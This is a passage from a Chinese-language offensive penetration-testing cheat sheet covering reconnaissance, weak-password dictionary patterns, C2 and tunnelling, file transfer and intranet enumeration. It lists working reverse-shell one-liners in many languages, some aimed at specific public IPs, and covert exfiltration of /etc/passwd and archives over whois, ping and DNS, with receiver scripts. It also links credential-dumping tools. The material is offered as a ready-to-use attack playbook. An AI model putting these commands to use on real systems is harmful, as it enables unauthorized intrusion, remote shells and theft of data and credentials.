└── README.MD /README.MD: -------------------------------------------------------------------------------- 1 | Author: [Evi1cg](https://twitter.com/Evi1cg) 2 | Blog: https://evi1cg.github.io 3 | 4 | 5 | Table of Contents 6 | ================= 7 | 8 | - [Table of Contents](#table-of-contents) 9 | - [信息搜集](#信息搜集) 10 | - [开源情报信息收集(OSINT)](#开源情报信息收集osint) 11 | - [github](#github) 12 | - [whois查询/注册人反查/邮箱反查/相关资产](#whois查询注册人反查邮箱反查相关资产) 13 | - [google hacking](#google-hacking) 14 | - [创建企业密码字典](#创建企业密码字典) 15 | - [字典列表](#字典列表) 16 | - [密码生成](#密码生成) 17 | - [邮箱列表获取](#邮箱列表获取) 18 | - [泄露密码查询](#泄露密码查询) 19 | - [对企业外部相关信息进行搜集](#对企业外部相关信息进行搜集) 20 | - [子域名获取](#子域名获取) 21 | - [进入内网](#进入内网) 22 | - [基于企业弱账号漏洞](#基于企业弱账号漏洞) 23 | - [基于系统漏洞进入](#基于系统漏洞进入) 24 | - [网站应用程序渗透](#网站应用程序渗透) 25 | - [无线Wi-Fi接入](#无线wi-fi接入) 26 | - [隐匿攻击](#隐匿攻击) 27 | - [Command and Control](#command-and-control) 28 | - [Fronting](#fronting) 29 | - [代理](#代理) 30 | - [内网跨边界应用](#内网跨边界应用) 31 | - [内网跨边界转发](#内网跨边界转发) 32 | - [内网跨边界代理穿透](#内网跨边界代理穿透) 33 | - [EW](#ew) 34 | - [Termite](#termite) 35 | - [代理脚本](#代理脚本) 36 | - [shell反弹](#shell反弹) 37 | - [内网文件的传输和下载](#内网文件的传输和下载) 38 | - [搭建 HTTP server](#搭建-http-server) 39 | - [内网信息搜集](#内网信息搜集) 40 | - [本机信息搜集](#本机信息搜集) 41 | - [1、用户列表](#1用户列表) 42 | - [2、进程列表](#2进程列表) 43 | - [3、服务列表](#3服务列表) 44 | - [4、端口列表](#4端口列表) 45 | - [5、补丁列表](#5补丁列表) 46 | - [6、本机共享](#6本机共享) 47 | - [7、本用户习惯分析](#7本用户习惯分析) 48 | - [8、获取当前用户密码工具](#8获取当前用户密码工具) 49 | - [Windows](#windows) 50 | - [Linux](#linux) 51 | - [浏览器](#浏览器) 52 | - [其他](#其他) 53 | - [扩散信息收集](#扩散信息收集) 54 | - [端口扫描](#端口扫描) 55 | - [常用端口扫描工具](#常用端口扫描工具) 56 | - [内网拓扑架构分析](#内网拓扑架构分析) 57 | - [常见信息收集命令](#常见信息收集命令) 58 | - [第三方信息收集](#第三方信息收集) 59 | - [权限提升](#权限提升) 60 | - [Windows](#windows-1) 61 | - [BypassUAC](#bypassuac) 62 | - [常用方法](#常用方法) 63 | - [常用工具](#常用工具) 64 | - [提权](#提权) 65 | - [Linux](#linux-1) 66 | - [内核溢出提权](#内核溢出提权) 67 | - [计划任务](#计划任务) 68 | - [SUID](#suid) 69 | - [系统服务的错误权限配置漏洞](#系统服务的错误权限配置漏洞) 70 | - [不安全的文件/文件夹权限配置](#不安全的文件文件夹权限配置) 71 | - [找存储的明文用户名,密码](#找存储的明文用户名密码) 72 | - [权限维持](#权限维持) 73 | - [系统后门](#系统后门) 74 | - [Windows](#windows-2) 75 | - [1、密码记录工具](#1密码记录工具) 76 | - [2、常用的存储Payload位置](#2常用的存储payload位置) 77 | - [3、Run/RunOnce Keys](#3runrunonce-keys) 78 | - [4、BootExecute Key](#4bootexecute-key) 79 | - [5、Userinit Key](#5userinit-key) 80 | - [6、Startup Keys](#6startup-keys) 81 | - [7、Services](#7services) 82 | - [8、Browser Helper Objects](#8browser-helper-objects) 83 | - [9、AppInit\_DLLs](#9appinit_dlls) 84 | - [10、文件关联](#10文件关联) 85 | - [11、bitsadmin](#11bitsadmin) 86 | - [12、mof ](#12mof-) 87 | - [13、wmi](#13wmi) 88 | - [14、Userland Persistence With Scheduled Tasks](#14userland-persistence-with-scheduled-tasks) 89 | - [15、Netsh](#15netsh) 90 | - [16、Shim](#16shim) 91 | - [17、DLL劫持](#17dll劫持) 92 | - [18、DoubleAgent ](#18doubleagent-) 93 | - [19、waitfor.exe ](#19waitforexe-) 94 | - [20、AppDomainManager](#20appdomainmanager) 95 | - [21、Office](#21office) 96 | - [22、CLR](#22clr) 97 | - [23、msdtc](#23msdtc) 98 | - [24、Hijack CAccPropServicesClass and MMDeviceEnumerato](#24hijack-caccpropservicesclass-and-mmdeviceenumerato) 99 | - [25、Hijack explorer.exe](#25hijack-explorerexe) 100 | - [26、Windows FAX DLL Injection](#26windows-fax-dll-injection) 101 | - [27、特殊注册表键值](#27特殊注册表键值) 102 | - [28、快捷方式后门](#28快捷方式后门) 103 | - [29、Logon Scripts](#29logon-scripts) 104 | - [30、Password Filter DLL](#30password-filter-dll) 105 | - [31、利用BHO实现IE浏览器劫持](#31利用bho实现ie浏览器劫持) 106 | - [Linux](#linux-2) 107 | - [crontab](#crontab) 108 | - [硬链接sshd](#硬链接sshd) 109 | - [SSH Server wrapper](#ssh-server-wrapper) 110 | - [SSH keylogger](#ssh-keylogger) 111 | - [Cymothoa\_进程注入backdoor](#cymothoa_进程注入backdoor) 112 | - [rootkit](#rootkit) 113 | - [Tools](#tools) 114 | - [WEB后门](#web后门) 115 | - [横向渗透](#横向渗透) 116 | - [端口渗透](#端口渗透) 117 | - [端口扫描](#端口扫描-1) 118 | - [端口爆破](#端口爆破) 119 | - [端口弱口令](#端口弱口令) 120 | - [端口溢出](#端口溢出) 121 | - [常见的默认端口](#常见的默认端口) 122 | - [1、web类(web漏洞/敏感目录)](#1web类web漏洞敏感目录) 123 | - [2、数据库类(扫描弱口令)](#2数据库类扫描弱口令) 124 | - [3、特殊服务类(未授权/命令执行类/漏洞)](#3特殊服务类未授权命令执行类漏洞) 125 | - [4、常用端口类(扫描弱口令/端口爆破)](#4常用端口类扫描弱口令端口爆破) 126 | - [5、端口合计所对应的服务](#5端口合计所对应的服务) 127 | - [域渗透](#域渗透) 128 | - [信息搜集](#信息搜集-1) 129 | - [powerview.ps1](#powerviewps1) 130 | - [BloodHound](#bloodhound) 131 | - [获取域内DNS信息](#获取域内dns信息) 132 | - [获取域控的方法](#获取域控的方法) 133 | - [SYSVOL](#sysvol) 134 | - [MS14-068 Kerberos](#ms14-068-kerberos) 135 | - [SPN扫描](#spn扫描) 136 | - [Kerberos的黄金门票](#kerberos的黄金门票) 137 | - [Kerberos的银票务](#kerberos的银票务) 138 | - [域服务账号破解](#域服务账号破解) 139 | - [凭证盗窃](#凭证盗窃) 140 | - [NTLM relay](#ntlm-relay) 141 | - [Kerberos委派](#kerberos委派) 142 | - [地址解析协议](#地址解析协议) 143 | - [Zerologon](#zerologon) 144 | - [noPac](#nopac) 145 | - [ADCS](#adcs) 146 | - [CVE-2022-26923](#cve-2022-26923) 147 | - [获取AD哈希](#获取ad哈希) 148 | - [AD持久化](#ad持久化) 149 | - [活动目录持久性技巧](#活动目录持久性技巧) 150 | - [Security Support Provider](#security-support-provider) 151 | - [SID History](#sid-history) 152 | - [AdminSDHolder&SDProp ](#adminsdholdersdprop-) 153 | - [组策略](#组策略) 154 | - [Hook PasswordChangeNotify](#hook-passwordchangenotify) 155 | - [Kerberoasting后门](#kerberoasting后门) 156 | - [AdminSDHolder](#adminsdholder) 157 | - [Delegation](#delegation) 158 | - [黄金证书](#黄金证书) 159 | - [其他](#其他-1) 160 | - [域内主机提权](#域内主机提权) 161 | - [Exchange的利用](#exchange的利用) 162 | - [TIPS](#tips) 163 | - [相关工具](#相关工具) 164 | - [在远程系统上执行程序](#在远程系统上执行程序) 165 | - [IOT相关](#iot相关) 166 | - [中间人](#中间人) 167 | - [规避杀软及检测](#规避杀软及检测) 168 | - [Bypass Applocker](#bypass-applocker) 169 | - [BypassAV](#bypassav) 170 | - [痕迹清理](#痕迹清理) 171 | - [Windows日志清除](#windows日志清除) 172 | - [破坏Windows日志记录功能](#破坏windows日志记录功能) 173 | - [Metasploit](#metasploit) 174 | - [3389登陆记录清除](#3389登陆记录清除) 175 | 176 | 177 | ## 信息搜集 178 | ### 开源情报信息收集(OSINT) 179 | #### github 180 | * Github_Nuggests(自动爬取Github上文件敏感信息泄露) :https://github.com/az0ne/Github_Nuggests 181 | * GSIL(能够实现近实时(15分钟内)的发现Github上泄露的信息) :https://github.com/FeeiCN/GSIL 182 | * x-patrol(小米团队的):https://github.com/MiSecurity/x-patrol 183 | 184 | #### whois查询/注册人反查/邮箱反查/相关资产 185 | 186 | * 站长之家:http://whois.chinaz.com/?DomainName=target.com&ws= 187 | * 爱站:https://whois.aizhan.com/target.com/ 188 | * 微步在线:https://x.threatbook.cn/ 189 | * IP反查:https://dns.aizhan.com/ 190 | * 天眼查:https://www.tianyancha.com/ 191 | * 虎妈查:http://www.whomx.com/ 192 | * 历史漏洞查询 : 193 | * 在线查询:http://wy.zone.ci/ 194 | * 自搭建:https://github.com/hanc00l/wooyun_public/ 195 | 196 | #### google hacking 197 | 198 | ### 创建企业密码字典 199 | #### 字典列表 200 | * passwordlist:https://github.com/lavalamp-/password-lists 201 | * 猪猪侠字典:https://pan.baidu.com/s/1dFJyedz 202 | [Blasting_dictionary](https://github.com/rootphantomer/Blasting_dictionary)(分享和收集各种字典,包括弱口令,常用密码,目录爆破。数据库爆破,编辑器爆破,后台爆破等) 203 | * 针对特定的厂商,重点构造厂商相关域名的字典 204 | ``` 205 | ['%pwd%123','%user%123','%user%521','%user%2017','%pwd%321','%pwd%521','%user%321','%pwd%123!','%pwd%123!@#','%pwd%1234','%user%2016','%user%123$%^','%user%123!@#','%pwd%2016','%pwd%2017','%pwd%1!','%pwd%2@','%pwd%3#','%pwd%123#@!','%pwd%12345','%pwd%123$%^','%pwd%!@#456','%pwd%123qwe','%pwd%qwe123','%pwd%qwe','%pwd%123456','%user%123#@!','%user%!@#456','%user%1234','%user%12345','%user%123456','%user%123!'] 206 | ``` 207 | 208 | #### 密码生成 209 | 210 | * GenpAss(中国特色的弱口令生成器: https://github.com/RicterZ/genpAss/ 211 | * passmaker(可以自定义规则的密码字典生成器) :https://github.com/bit4woo/passmaker 212 | * pydictor(强大的密码生成器) :https://github.com/LandGrey/pydictor 213 | 214 | #### 邮箱列表获取 215 | 216 | * theHarvester :https://github.com/laramies/theHarvester 217 | * 获取一个邮箱以后导出通讯录 218 | * LinkedInt :https://github.com/mdsecactivebreach/LinkedInt 219 | * Mailget:https://github.com/Ridter/Mailget 220 | 221 | #### 泄露密码查询 222 | * ghostproject: https://ghostproject.fr/ 223 | * pwndb: https://pwndb2am4tzkvold.onion.to/ 224 | 225 | #### 对企业外部相关信息进行搜集 226 | ##### 子域名获取 227 | * Layer子域名挖掘机4.2纪念版 228 | * subDomainsBrute :https://github.com/lijiejie/subDomainsBrute 229 | * wydomain :https://github.com/ring04h/wydomain 230 | * Sublist3r :https://github.com/aboul3la/Sublist3r 231 | * 企查查:https://www.qcc.com/ 232 | * 天眼查:https://www.tianyancha.com/ 233 | * site:target.com:https://www.google.com 234 | * Github代码仓库 235 | * 抓包分析请求返回值(跳转/文件上传/app/api接口等) 236 | * 站长帮手links等在线查询网站 237 | * 域传送漏洞 238 | 239 | > 240 | Linux 241 | ``` 242 | dig @ns.example.com example=.com AXFR 243 | ``` 244 | Windows 245 | ``` 246 | nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器 247 | nslookup #进入nslookup交互模式 248 | server dns.domian.com #指定dns服务器 249 | ls xxx.yyy.cn #列出域信息 250 | ``` 251 | 252 | * GetDomainsBySSL.py :https://note.youdao.com/ynoteshare1/index.html?id=247d97fc1d98b122ef9804906356d47a&type=note#/ 253 | * censys.io证书 :https://censys.io/certificates?q=target.com 254 | * crt.sh证书查询:https://crt.sh/?q=%25.target.com 255 | * shadon :https://www.shodan.io/ 256 | * zoomeye :https://www.zoomeye.org/ 257 | * fofa :https://fofa.so/ 258 | * censys:https://censys.io/ 259 | * dnsdb.io :https://dnsdb.io/zh-cn/search?q=target.com 260 | * api.hackertarget.com :http://api.hackertarget.com/reversedns/?q=target.com 261 | * community.riskiq.com :https://community.riskiq.com/Search/target.com 262 | * subdomain3 :https://github.com/yanxiu0614/subdomain3 263 | * FuzzDomain :https://github.com/Chora10/FuzzDomain 264 | * dnsdumpster.com :https://dnsdumpster.com/ 265 | * phpinfo.me :https://phpinfo.me/domain/ 266 | * dns开放数据接口 :https://dns.bufferover.run/dns?q=baidu.com 267 | 268 | ## 进入内网 269 | 270 | ### 基于企业弱账号漏洞 271 | 272 | * VPN(通过邮箱,密码爆破,社工等途径获取VPN) 273 | * 企业相关运维系统(zabbix等) 274 | 275 | ### 基于系统漏洞进入 276 | * Metasploit(漏洞利用框架):https://github.com/rapid7/metasploit-framework 277 | * 漏洞利用脚本 278 | 279 | ### 网站应用程序渗透 280 | * SQL注入 281 | * 跨站脚本(XSS) 282 | * 跨站请求伪造(CSRF) 283 | * SSRF([ssrf_proxy](https://github.com/bcoles/ssrf_proxy)) 284 | * 功能/业务逻辑漏洞 285 | * 其他漏洞等 286 | * CMS-内容管理系统漏洞 287 | * 企业自建代理 288 | 289 | ### 无线Wi-Fi接入 290 | 291 | ## 隐匿攻击 292 | 293 | ### Command and Control 294 | * ICMP :https://pentestlab.blog/2017/07/28/command-and-control-icmp/ 295 | * DNS :https://pentestlab.blog/2017/09/06/command-and-control-dns/ 296 | * DropBox :https://pentestlab.blog/2017/08/29/command-and-control-dropbox/ 297 | * Gmail :https://pentestlab.blog/2017/08/03/command-and-control-gmail/ 298 | * Telegram :http://drops.xmd5.com/static/drops/tips-16142.html 299 | * Twitter :https://pentestlab.blog/2017/09/26/command-and-control-twitter/ 300 | * Website Keyword :https://pentestlab.blog/2017/09/14/command-and-control-website-keyword/ 301 | * PowerShell :https://pentestlab.blog/2017/08/19/command-and-control-powershell/ 302 | * Windows COM :https://pentestlab.blog/2017/09/01/command-and-control-windows-com/ 303 | * WebDAV :https://pentestlab.blog/2017/09/12/command-and-control-webdav/ 304 | * Office 365 :https://www.anquanke.com/post/id/86974 305 | * HTTPS :https://pentestlab.blog/2017/10/04/command-and-control-https/ 306 | * Kernel :https://pentestlab.blog/2017/10/02/command-and-control-kernel/ 307 | * Website :https://pentestlab.blog/2017/11/14/command-and-control-website/ 308 | * WMI :https://pentestlab.blog/2017/11/20/command-and-control-wmi/ 309 | * WebSocket :https://pentestlab.blog/2017/12/06/command-and-control-websocket/ 310 | * Images :https://pentestlab.blog/2018/01/02/command-and-control-images/ 311 | * Web Interface :https://pentestlab.blog/2018/01/03/command-and-control-web-interface/ 312 | * JavaScript :https://pentestlab.blog/2018/01/08/command-and-control-javascript/ 313 | * ... 314 | 315 | ### Fronting 316 | * [Domain Fronting ](https://evi1cg.me/archives/Domain_Fronting.html) 317 | * [Tor_Fronting.](https://evi1cg.me/archives/Tor_Fronting.html) 318 | 319 | ### 代理 320 | * VPN 321 | * shadowsockts :https://github.com/shadowsocks 322 | * HTTP :http://cn-proxy.com/ 323 | * Tor 324 | 325 | ## 内网跨边界应用 326 | 327 | ### 内网跨边界转发 328 | * [NC端口转发](https://blog.csdn.net/l_f0rm4t3d/article/details/24004555) 329 | * [LCX端口转发 ](http://blog.chinaunix.net/uid-53401-id-4407931.html) 330 | * [nps](https://github.com/cnlh/nps) -> 个人用觉得比较稳定 ~ 331 | * [frp](https://github.com/fatedier/frp) 332 | * 代理脚本 333 | 1. [Tunna ](https://github.com/SECFORCE/Tunna) 334 | 2. [Reduh ](https://github.com/sensepost/reDuh) 335 | * ... 336 | 337 | ### 内网跨边界代理穿透 338 | #### [EW](https://rootkiter.com/EarthWorm/) 339 | 正向 SOCKS v5 服务器: 340 | ``` 341 | ./ew -s ssocksd -l 1080 342 | ``` 343 | 反弹 SOCKS v5 服务器: 344 | a) 先在一台具有公网 ip 的主机A上运行以下命令: 345 | ``` 346 | $ ./ew -s rcsocks -l 1080 -e 8888 347 | 348 | ``` 349 | b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口 350 | ``` 351 | $ ./ew -s rssocks -d 1.1.1.1 -e 8888 352 | ``` 353 | 多级级联 354 | ``` 355 | $ ./ew -s lcx_listen -l 1080 -e 8888 356 | $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999 357 | $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999 358 | ``` 359 | lcx_tran 的用法 360 | ``` 361 | $ ./ew -s ssocksd -l 9999 362 | $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999 363 | ``` 364 | lcx_listen、lcx_slave 的用法 365 | ``` 366 | $ ./ew -s lcx_listen -l 1080 -e 8888 367 | $ ./ew -s ssocksd -l 9999 368 | $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 369 | ``` 370 | “三级级联”的本地SOCKS测试用例以供参考 371 | ``` 372 | $ ./ew -s rcsocks -l 1080 -e 8888 373 | $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 374 | $ ./ew -s lcx_listen -l 9999 -e 7777 375 | $ ./ew -s rssocks -d 127.0.0.1 -e 7777 376 | ``` 377 | #### [Termite](https://rootkiter.com/Termite/) 378 | 使用说明:https://rootkiter.com/Termite/README.txt 379 | #### 代理脚本 380 | reGeorg :https://github.com/sensepost/reGeorg 381 | Neo-reGeorg:https://github.com/L-codes/Neo-reGeorg 382 | pystinger(毒刺):https://github.com/FunnyWolf/pystinger 383 | ABPTTS:https://github.com/nccgroup/ABPTTS 384 | 385 | ### shell反弹 386 | bash 387 | ``` 388 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 389 | ``` 390 | perl 391 | ``` 392 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 393 | ``` 394 | python 395 | ``` 396 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 397 | ``` 398 | php 399 | ``` 400 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 401 | ``` 402 | ruby 403 | ``` 404 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 405 | ``` 406 | java 407 | ``` 408 | r = Runtime.getRuntime() 409 | p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) 410 | p.waitFor() 411 | ``` 412 | nc 413 | ``` 414 | #使用-e 415 | nc -e /bin/sh 223.8.200.234 1234 416 | ``` 417 | ``` 418 | #不使用-e 419 | mknod /tmp/backpipe p 420 | /bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe 421 | ``` 422 | 423 | lua 424 | ``` 425 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" 426 | ``` 427 | 428 | ### 内网文件的传输和下载 429 | wput 430 | ``` 431 | wput dir_name ftp://linuxpig:123456@host.com/ 432 | ``` 433 | wget 434 | ``` 435 | wget http://site.com/1.rar -O 1.rar 436 | ``` 437 | ariac2(需安装) 438 | ``` 439 | aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2 440 | ``` 441 | powershell 442 | ``` 443 | $p = New-Object System.Net.WebClient 444 | $p.DownloadFile("http://domain/file","C:%homepath%file") 445 | ``` 446 | vbs脚本 447 | ``` 448 | Set args = Wscript.Arguments 449 | Url = "http://domain/file" 450 | dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") 451 | dim bStrm: Set bStrm = createobject("Adodb.Stream") 452 | xHttp.Open "GET", Url, False 453 | xHttp.Send 454 | with bStrm 455 | .type = 1 ' 456 | .open 457 | .write xHttp.responseBody 458 | .savetofile " C:\%homepath%\file", 2 ' 459 | end with 460 | ``` 461 | >执行 :cscript test.vbs 462 | 463 | Perl 464 | ``` 465 | #!/usr/bin/perl 466 | use LWP::Simple; 467 | getstore("http://domain/file", "file"); 468 | ``` 469 | >执行:perl test.pl 470 | 471 | Python 472 | ``` 473 | #!/usr/bin/python 474 | import urllib2 475 | u = urllib2.urlopen('http://domain/file') 476 | localFile = open('local_file', 'w') 477 | localFile.write(u.read()) 478 | localFile.close() 479 | ``` 480 | >执行:python test.py 481 | 482 | Ruby 483 | ``` 484 | #!/usr/bin/ruby 485 | require 'net/http' 486 | Net::HTTP.start("www.domain.com") { |http| 487 | r = http.get("/file") 488 | open("save_location", "wb") { |file| 489 | file.write(r.body) 490 | } 491 | } 492 | ``` 493 | >执行:ruby test.rb 494 | 495 | PHP 496 | ``` 497 | 506 | ``` 507 | >执行:php test.php 508 | 509 | NC 510 | attacker 511 | ``` 512 | cat file | nc -l 1234 513 | ``` 514 | target 515 | ``` 516 | nc host_ip 1234 > file 517 | ``` 518 | FTP 519 | ``` 520 | ftp 127.0.0.1 username password get file exit 521 | ``` 522 | TFTP 523 | ``` 524 | tftp -i host GET C:%homepath%file location_of_file_on_tftp_server 525 | ``` 526 | Bitsadmin 527 | ``` 528 | bitsadmin /transfer n http://domain/file c:%homepath%file 529 | ``` 530 | Window 文件共享 531 | ``` 532 | net use x: \127.0.0.1\share /user:example.comuserID myPassword 533 | ``` 534 | SCP 535 | 本地到远程 536 | ``` 537 | scp file user@host.com:/tmp 538 | ``` 539 | 远程到本地 540 | ``` 541 | scp user@host.com:/tmp file 542 | ``` 543 | rsync 544 | 远程rsync服务器中拷贝文件到本地机 545 | ``` 546 | rsync -av root@192.168.78.192::www /databack 547 | ``` 548 | 本地机器拷贝文件到远程rsync服务器 549 | ``` 550 | rsync -av /databack root@192.168.78.192::www 551 | ``` 552 | certutil.exe 553 | ``` 554 | certutil.exe -urlcache -split -f http://site.com/file 555 | ``` 556 | copy 557 | ``` 558 | copy \\IP\ShareName\file.exe file.exe 559 | ``` 560 | WHOIS 561 | 接收端 Host B: 562 | ``` 563 | nc -vlnp 1337 | sed "s/ //g" | base64 -d 564 | ``` 565 | 发送端 Host A: 566 | ``` 567 | whois -h host_ip -p 1337 `cat /etc/passwd | base64` 568 | ``` 569 | 570 | [WHOIS + TAR](https://twitter.com/mubix/status/1102780436118409216) 571 | First: 572 | ``` 573 | ncat -k -l -p 4444 | tee files.b64 #tee to a file so you can make sure you have it 574 | ``` 575 | 576 | Next 577 | ``` 578 | tar czf - /tmp/* | base64 | xargs -I bits timeout 0.03 whois -h host_ip -p 4444 bits 579 | ``` 580 | 581 | Finally 582 | ``` 583 | cat files.b64 | tr -d '\r\n' | base64 -d | tar zxv #to get the files out 584 | ``` 585 | 586 | PING 587 | 发送端: 588 | ``` 589 | xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done 590 | ``` 591 | 接收端`ping_receiver.py`: 592 | ``` 593 | import sys 594 | 595 | try: 596 | from scapy.all import * 597 | except: 598 | print("Scapy not found, please install scapy: pip install scapy") 599 | sys.exit(0) 600 | 601 | 602 | def process_packet(pkt): 603 | if pkt.haslayer(ICMP): 604 | if pkt[ICMP].type == 8: 605 | data = pkt[ICMP].load[-4:] 606 | print(f'{data.decode("utf-8")}', flush=True, end="", sep="") 607 | 608 | sniff(iface="eth0", prn=process_packet) 609 | ``` 610 | ``` 611 | python3 ping_receiver.py 612 | ``` 613 | 614 | DIG 615 | 发送端: 616 | ``` 617 | xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done 618 | ``` 619 | 接收端`dns_reciver.py`: 620 | ``` 621 | try: 622 | from scapy.all import * 623 | except: 624 | print("Scapy not found, please install scapy: pip install scapy") 625 | 626 | def process_packet(pkt): 627 | if pkt.haslayer(DNS): 628 | domain = pkt[DNS][DNSQR].qname.decode('utf-8') 629 | root_domain = domain.split('.')[1] 630 | if root_domain.startswith('gooogle'): 631 | print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='') 632 | 633 | sniff(iface="eth0", prn=process_packet) 634 | ``` 635 | ``` 636 | python3 dns_reciver.py 637 | ``` 638 | ... 639 | ### 搭建 HTTP server 640 | python2 641 | ``` 642 | python -m SimpleHTTPServer 1337 643 | ``` 644 | python3 645 | ``` 646 | python -m http.server 1337 647 | ``` 648 | PHP 5.4+ 649 | ``` 650 | php -S 0.0.0.0:1337 651 | ``` 652 | ruby 653 | ``` 654 | ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start' 655 | ``` 656 | ``` 657 | ruby -run -e httpd . -p 1337 658 | ``` 659 | Perl 660 | ``` 661 | perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start' 662 | ``` 663 | ``` 664 | perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })' 665 | ``` 666 | busybox httpd 667 | ``` 668 | busybox httpd -f -p 8000 669 | ``` 670 | 671 | 672 | 673 | ## 内网信息搜集 674 | 675 | ### 本机信息搜集 676 | #### 1、用户列表 677 | windows用户列表 678 | 分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户 679 | 680 | #### 2、进程列表 681 | 析杀毒软件/安全监控工具等 682 | 邮件客户端 683 | VPN 684 | ftp等 685 | 686 | #### 3、服务列表 687 | 与安全防范工具有关服务[判断是否可以手动开关等] 688 | 存在问题的服务[权限/漏洞] 689 | 690 | #### 4、端口列表 691 | 开放端口对应的常见服务/应用程序[匿名/权限/漏洞等] 692 | 利用端口进行信息收集 693 | 694 | #### 5、补丁列表 695 | 分析 Windows 补丁 696 | 第三方软件[Java/Oracle/Flash 等]漏洞 697 | 698 | #### 6、本机共享 699 | 本机共享列表/访问权限 700 | 本机访问的域共享/访问权限 701 | 702 | #### 7、本用户习惯分析 703 | 历史记录 704 | 收藏夹 705 | 文档等 706 | 707 | #### 8、获取当前用户密码工具 708 | 709 | ##### Windows 710 | * [mimikatz](https://github.com/gentilkiwi/mimikatz) 711 | * [wce](https://github.com/vergl4s/pentesting-dump/tree/master/net/Windows/wce_v1_42beta_x64) 712 | * [Invoke-WCMDump ](https://github.com/peewpw/Invoke-WCMDump) 713 | * [mimiDbg ](https://github.com/giMini/mimiDbg) 714 | * [LaZagne](https://github.com/AlessandroZ/LaZagne) 715 | * [nirsoft_package](http://launcher.nirsoft.net/downloads/) 716 | * [QuarksPwDump](https://github.com/quarkslab/quarkspwdump) [fgdump](https://github.com/mcandre/fgdump) 717 | * 星号查看器等 718 | 719 | ##### Linux 720 | * [LaZagne](https://github.com/AlessandroZ/LaZagne) 721 | * [mimipenguin](https://github.com/huntergregal/mimipenguin) 722 | 723 | ##### 浏览器 724 | * [HackBrowserData](https://github.com/moonD4rk/HackBrowserData) 725 | * [SharpWeb](https://github.com/djhohnstein/SharpWeb) 726 | * [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) 727 | * [360SafeBrowsergetpass](https://github.com/hayasec/360SafeBrowsergetpass) 728 | 729 | ##### 其他 730 | * [SharpDecryptPwd](https://github.com/RcoIl/SharpDecryptPwd) 731 | * [Decrypt_Weblogic_Password](https://github.com/TideSec/Decrypt_Weblogic_Password) 732 | * [OA-Seeyou](https://github.com/jas502n/OA-Seeyou) 733 | 734 | ### 扩散信息收集 735 | #### 端口扫描 736 | ##### 常用端口扫描工具 737 | * [nmap](https://nmap.org/) 738 | * [masscan](https://github.com/robertdavidgraham/masscan) 739 | * [zmap](https://github.com/zmap/zmap) 740 | * s扫描器 741 | * 自写脚本等 742 | * NC 743 | * ... 744 | 745 | #### 内网拓扑架构分析 746 | * DMZ 747 | * 管理网 748 | * 生产网 749 | * 测试网 750 | 751 | #### 常见信息收集命令 752 | ipconfig: 753 | ``` 754 | ipconfig /all ------> 查询本机 IP 段,所在域等 755 | ``` 756 | net: 757 | ``` 758 | net user ------> 本机用户列表 759 | net localgroup administrators ------> 本机管理员[通常含有域用户] 760 | net user /domain ------> 查询域用户 761 | net group /domain ------> 查询域里面的工作组 762 | net group "domain admins" /domain ------> 查询域管理员用户组 763 | net localgroup administrators /domain ------> 登录本机的域管理员 764 | net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台) 765 | net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表 766 | net view /domain:domainname 767 | ``` 768 | dsquery 769 | ``` 770 | dsquery computer domainroot -limit 65535 && net group "domain 771 | computers" /domain ------> 列出该域内所有机器名 772 | dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名 773 | dsquery subnet ------>列出该域内网段划分 774 | dsquery group && net group /domain ------>列出该域内分组 775 | dsquery ou ------>列出该域内组织单位 776 | dsquery server && net time /domain------>列出该域内域控制器 777 | ``` 778 | 779 | ### 第三方信息收集 780 | * NETBIOS 信息收集 781 | * SMB 信息收集 782 | * 空会话信息收集 783 | * 漏洞信息收集等 784 | 785 | ## 权限提升 786 | 787 | ### Windows 788 | #### BypassUAC 789 | ##### 常用方法 790 | * 使用IFileOperation COM接口 791 | * 使用Wusa.exe的extract选项 792 | * 远程注入SHELLCODE 到傀儡进程 793 | * DLL劫持,劫持系统的DLL文件 794 | * eventvwr.exe and registry hijacking 795 | * sdclt.exe 796 | * SilentCleanup 797 | * wscript.exe 798 